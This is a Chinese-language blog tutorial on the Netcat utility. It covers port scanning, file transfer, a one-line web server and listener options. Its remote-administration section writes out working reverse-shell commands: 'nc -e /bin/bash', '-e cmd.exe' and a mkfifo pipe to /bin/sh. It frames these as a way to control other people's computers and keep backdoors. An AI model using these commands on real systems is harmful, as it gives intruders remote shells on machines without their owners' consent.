shell 工具_黑客工具:大小仅30K,网络探测端口扫描shell反弹!速来补习

前言

小助手今天说的这个工具,是Linux下网络探测必备,在故障排查,远程连接中,简单方便,配上管道符操作,可以组装成强大的功能。

他就是 Nmap 工具包内的 Ncat

c52303f4f4049873eb5f2acf3e9411f8.gif

介绍

Netcat是用于跨TCP和UDP端口读写数据的实用程序。

它可以用来做很多很酷的事情,比如文件传输,端口扫描,端口重定向,回溯别人的电脑,制作一个简单的聊天程序,用于网络故障排除等等,这就是为什么它被称为瑞士军刀。

此外,现在几乎所有的Linux发行版都预装了它,主要由网络管理员、DevOps和安全工程师用于他们的日常小任务。

Netcat-Traditional与Netcat-OpenBSD的区别

Netcat有两个类似的软件包,它们之间略有不同。

Netcat-Traditional包括一个附加的‘-e’选项,可用于将程序(即bash)与Netcat绑定。此功能对于远程管理非常有用。

Netcat-OpenBSD对IPv6和代理有一些额外的支持。

端口扫描

要扫描打开的端口,请使用“-z”选项。在UDP情况下,Netcat将尝试连接到每个端口,而不发送任何数据或非常有限的数据。键入以下内容

ubuntu@ubuntu:~$ nc -z -v example.com 80......example.com [x.x.x.x] 80 (http) open

扫描一系列端口键入一下内容

ubuntu@ubuntu:~$ nc -z -nv 192.168.1.2 20-80(UNKNOWN) [192.168.1.2] 80 (http) open(UNKNOWN) [192.168.1.2] 22 (ssh) open

文件传输

Netcat的另一个有用用例是远程计算机之间的文件传输。您可以将文本和二进制文件从一台PC发送到另一台PC。我们将以Netcat为例,尝试将文件“file.pdf”从Linux PC发送到Windows PC[IP 192.168.1.2]。

在接收方windows主机上键入以下内容

C:甥敳獲> nc -nvlp 1248 > file.pdfListening on [0.0.0.0] (family 2, port 1248)

在发送方linux主机上键入以下内容

ubuntu@ubuntu:~$ nc -nv 192.168.1.2 1248 < file.pdfConnection to 192.168.1.2 1248 port [tcp/*] succeeded!

远程管理

Netcat最好的用例之一是远程管理,这意味着您可以使用Netcat控制其他人的PC。

Netcat-Traditional附带‘-e’选项,可用于将程序(即Windows中的cmd.exe或Linux中的bash)与端口绑定,这意味着Netcat将充当程序与远程PC之间的通信器。

Netcat将从远程PC接收命令,在本地系统上执行,并将结果发送回远程PC。

此功能被广泛用于恶意目的,在PC和服务器中保留后门。

此功能仅在Netcat-Traditional中可用,但通过一点小技巧,Netcat-OpenBSD也可以用于相同的目的。

也就是说你可以用两种方式来控制别人的电脑。

eba85c4673f575e5b5fdee0d3394d934.png

当受控计算机在NAT之后或没有公网IP时使用反弹shell,攻击者侦听端口并等待从受控计算机发送连接。

要使用Netcat获取反弹shell,您需要使用Netcat侦听端口。在攻击者计算机上键入以下内容,

ubuntu@ubuntu:~$ nc -nvlp 1248Listening on [0.0.0.0] (family 2, port 1248)

在受控计算机上,如果是Linux运行

ubuntu@ubuntu:~$ nc -nv [IP_ADDR] 1248 -e /bin/bash

如果是Windows运行

C:甥敳獲> nc -nv [IP_ADDR] 1248 -e cmd.exe

Netcat-Openbsd中 -e 选项不受支持,所以需要曲线救国

ubuntu@ubuntu:~$ rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc [IP_ADDR] 1248 >/tmp/f

简单web服务器

您还可以使用另一个简单的技巧将Netcat用作最小的单页面Web服务器。

这个Web服务器非常简单,没有特殊配置,我们将使用它将HTML代码发送到浏览器。

ubuntu@ubuntu:~$ while true ; do  echo -e "HTTP/1.1 200 OK $(echo "

server by netcat

")" | nc -nvlp 1248 ; doneListening on [0.0.0.0] (family 2, port 1248)

然后使用curl请求该路由地址

ubuntu@ubuntu:~$ curl http://127.0.0.1:1248/

server by netcat

指定会话超时时间

您可以使用“-w”选项指定Netcat会话的超时。Netcat将在指定时间超时后自动断开其会话。

ubuntu@ubuntu:~$ nc -w 30 -nvlp 1248Listening on [0.0.0.0] (family 2, port 1248)

客户端监听守护

客户端就是断开,也坚持监听请求。在正常模式下,当客户端关闭连接时,Netcat服务器会关闭并停止侦听端口。您可以使用“-k”选项保持服务器正常运行

ubuntu@ubuntu:~$ nc -k -nlvp 1248Listening on [0.0.0.0] (family 2, port 1248)

写在最后

Netcat是一种简单而高效的实用程序,可用于许多简单的日常任务。

它预装在几乎所有类似UNIX的操作系统中,可用于各种任务。

快去测试一下吧。

【本文由@程序员小助手 发布,持续分享编程故事,欢迎关注】

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值